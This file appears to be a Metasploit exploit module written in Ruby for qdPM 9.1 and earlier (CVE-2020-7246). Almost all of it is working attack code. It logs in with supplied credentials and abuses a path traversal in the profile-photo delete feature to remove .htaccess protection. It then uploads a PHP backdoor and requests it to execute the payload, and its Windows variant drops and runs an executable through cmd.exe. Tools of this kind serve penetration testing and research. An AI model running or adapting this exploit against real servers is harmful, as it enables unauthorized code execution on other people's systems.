bcoles
283 lines
8.8 KiB
Ruby
283 lines
8.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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include Msf::Exploit::PhpEXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'qdPM 9.1 Authenticated Arbitrary PHP File Upload (RCE)',
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'Description' => %q{
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A remote code execution (RCE) vulnerability exists in qdPM 9.1 and earlier.
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An attacker can upload a malicious PHP code file via the profile photo functionality, by leveraging a path traversal
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vulnerability in the users['photop_preview'] delete photo feature, allowing bypass of .htaccess protection.
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NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Rishal Dwivedi (Loginsoft)', # Discovery
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'Leon Trappett (thepcn3rd)', # PoC
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'Giacomo Casoni' # Metasploit
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],
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'References' => [
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['CVE', '2020-7246'],
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['EDB', '50175']
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],
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'Payload' => {
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'BadChars' => "\x00"
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},
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'DefaultOptions' => {
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'EXITFUNC' => 'thread'
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},
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'Platform' => %w[linux php],
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'Targets' => [
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[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
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[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
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[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
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[ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
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[ 'Windows x64', { 'Arch' => ARCH_X64, 'Platform' => 'win' } ]
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],
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'Privileged' => true,
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'DisclosureDate' => '2020-11-21',
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'DefaultTarget' => 0,
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => [IOC_IN_LOGS]
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}
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)
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)
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base directory where qdPM resides', '/']),
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OptString.new('EMAIL', [true, 'The email to login with']),
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OptString.new('PASSWORD', [true, 'The password to login with'])
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]
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)
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self.needs_cleanup = true
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end
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def check
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uri = normalize_uri(uri, '/index.php')
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res = send_request_raw({ 'uri' => uri })
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if res.nil?
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return Exploit::CheckCode::Unknown
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end
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login_page = res.get_html_document
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begin
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version_num = login_page.at('div[@class="copyright"]').at('a').text.tr('qdPM ', '').to_f
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rescue StandardError
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return Exploit::CheckCode::Unknown
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end
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version = Rex::Version.new(version_num)
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if version <= Rex::Version.new('9.1')
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return Exploit::CheckCode::Appears
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else
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return Exploit::CheckCode::Safe
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end
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end
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def get_write_exec_payload_win(fname, _data)
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p = Rex::Text.encode_base64(generate_payload_exe)
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php = %|
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<?php
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$f = fopen("#{fname}", "wb");
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fwrite($f, base64_decode("#{p}"));
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fclose($f);
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exec("C:\\Windows\\System32\\cmd.exe /c #{fname}");
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?>
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php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
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return php
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end
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def login(base, username, password)
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri("#{base}/index.php/login"),
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'keep_cookies' => true
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})
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login_page = res.get_html_document
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csrf_token = login_page.at("input[name='login[_csrf_token]']/@value")
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send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri("#{base}/index.php/login"),
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'vars_post' => {
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'login[email]' => username,
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'login[password]' => password,
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'login[_csrf_token]' => csrf_token
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},
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'keep_cookies' => true,
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'headers' => {
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'Origin' => "http://#{rhost}",
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'Referer' => "http://#{rhost}/#{base}/index.php/login"
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}
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})
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri("#{base}/index.php/myAccount"),
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'keep_cookies' => true,
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'headers' => {
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'Host' => rhost.to_s
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}
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})
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account_page = res.get_html_document
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begin
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userid = account_page.at("input[@name='users[id]']/@value").text.strip
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rescue StandardError
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print_error('The designated admin account does not have a user ID.')
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return {}
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end
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username = account_page.at("input[@name='users[name]']/@value").text.strip
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csrftoken_ = account_page.at("input[@name='users[_csrf_token]']/@value").text.strip
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opts = {
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'user_id' => userid,
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'name' => username,
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'csrf_token' => csrftoken_
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}
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return opts
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end
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def upload_php(base, opts)
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fname = opts['filename']
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php_payload = opts['data']
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user_id = opts['user_id']
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email = opts['email']
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csrf_token = opts['csrf_token']
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data = [
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{ 'name' => 'sf_method', 'data' => 'put' },
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{ 'name' => 'users[id]', 'data' => user_id },
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{ 'name' => 'users[photo_preview]', 'data' => '.htaccess' },
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{ 'name' => 'users[_csrf_token]', 'data' => csrf_token },
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{ 'name' => 'users[new_password]', 'data' => '' },
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{ 'name' => 'users[email]', 'data' => email },
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{ 'name' => 'extra_fields[9]', 'data' => '' },
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{ 'name' => 'users[remove_photo]', 'data' => '1' }
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]
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send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
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'vars_form_data' => data,
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'keep_cookies' => true,
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'headers' => {
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'Origin' => "http://#{rhost}",
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'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
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}
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)
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data = [
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{ 'name' => 'sf_method', 'data' => 'put' },
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{ 'name' => 'users[id]', 'data' => user_id },
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{ 'name' => 'users[photo_preview]', 'data' => '../.htaccess' },
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{ 'name' => 'users[_csrf_token]', 'data' => csrf_token },
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{ 'name' => 'users[new_password]', 'data' => '' },
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{ 'name' => 'users[email]', 'data' => email },
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{ 'name' => 'extra_fields[9]', 'data' => '' },
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{ 'name' => 'users[remove_photo]', 'data' => '1' }
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]
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send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
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'vars_form_data' => data,
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'keep_cookies' => true,
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'headers' => {
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'Origin' => "http://#{rhost}",
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'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
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}
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)
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data = [
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{ 'name' => 'sf_method', 'data' => 'put' },
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{ 'name' => 'users[id]', 'data' => user_id },
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{ 'name' => 'users[_csrf_token]', 'data' => csrf_token },
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{ 'name' => 'users[new_password]', 'data' => '' },
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{ 'name' => 'users[email]', 'data' => email },
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{ 'name' => 'extra_fields[9]', 'data' => '' },
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{ 'name' => 'users[remove_photo]', 'data' => '1' },
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{ 'name' => 'users[photo]', 'data' => php_payload, 'mime_type' => 'application/octet-stream', 'filename' => fname }
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]
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
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'vars_form_data' => data,
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'keep_cookies' => true,
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'headers' => {
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'Origin' => "http://#{rhost}",
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'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
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}
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})
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return res.code == 302
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end
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def exec_php(base, _opts)
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res = send_request_cgi({
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'uri' => normalize_uri("#{base}/index.php/myAccount"),
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'keep_cookies' => true
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})
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home_page = res.get_html_document
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backdoor = home_page.at("//input[@name='users[photo_preview]']/@value").text.strip
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register_file_for_cleanup(backdoor)
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send_request_cgi({
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'uri' => normalize_uri("#{base}/uploads/users/#{backdoor}")
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})
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end
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def exploit
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uri = normalize_uri(target_uri.path)
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user = datastore['EMAIL']
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pass = datastore['PASSWORD']
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print_status("Attempt to login with '#{user}:#{pass}'")
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opts = login(uri, user, pass)
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if opts.empty?
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print_error('Login unsuccessful or bad (admin) user')
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return
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end
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php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
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case target['Platform']
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when 'php'
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p = get_write_exec_payload
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when 'linux'
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p = get_write_exec_payload(unlink_self: true)
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when 'win'
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bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
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bin = generate_payload_exe
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p = get_write_exec_payload_win(bin_name.to_s, bin)
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print_warning("#{bin_name} will require manual cleanup")
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end
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print_status("Uploading PHP payload (#{p.length} bytes)...")
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data = {
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'email' => user.to_s,
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'filename' => php_fname,
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'data' => p
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}
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data = data.merge(opts)
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uploader = upload_php(uri, data)
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if !uploader
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print_error('Unable to upload')
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return
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end
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print_status("Executing '#{php_fname}'")
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exec_php(uri, opts)
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end
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end
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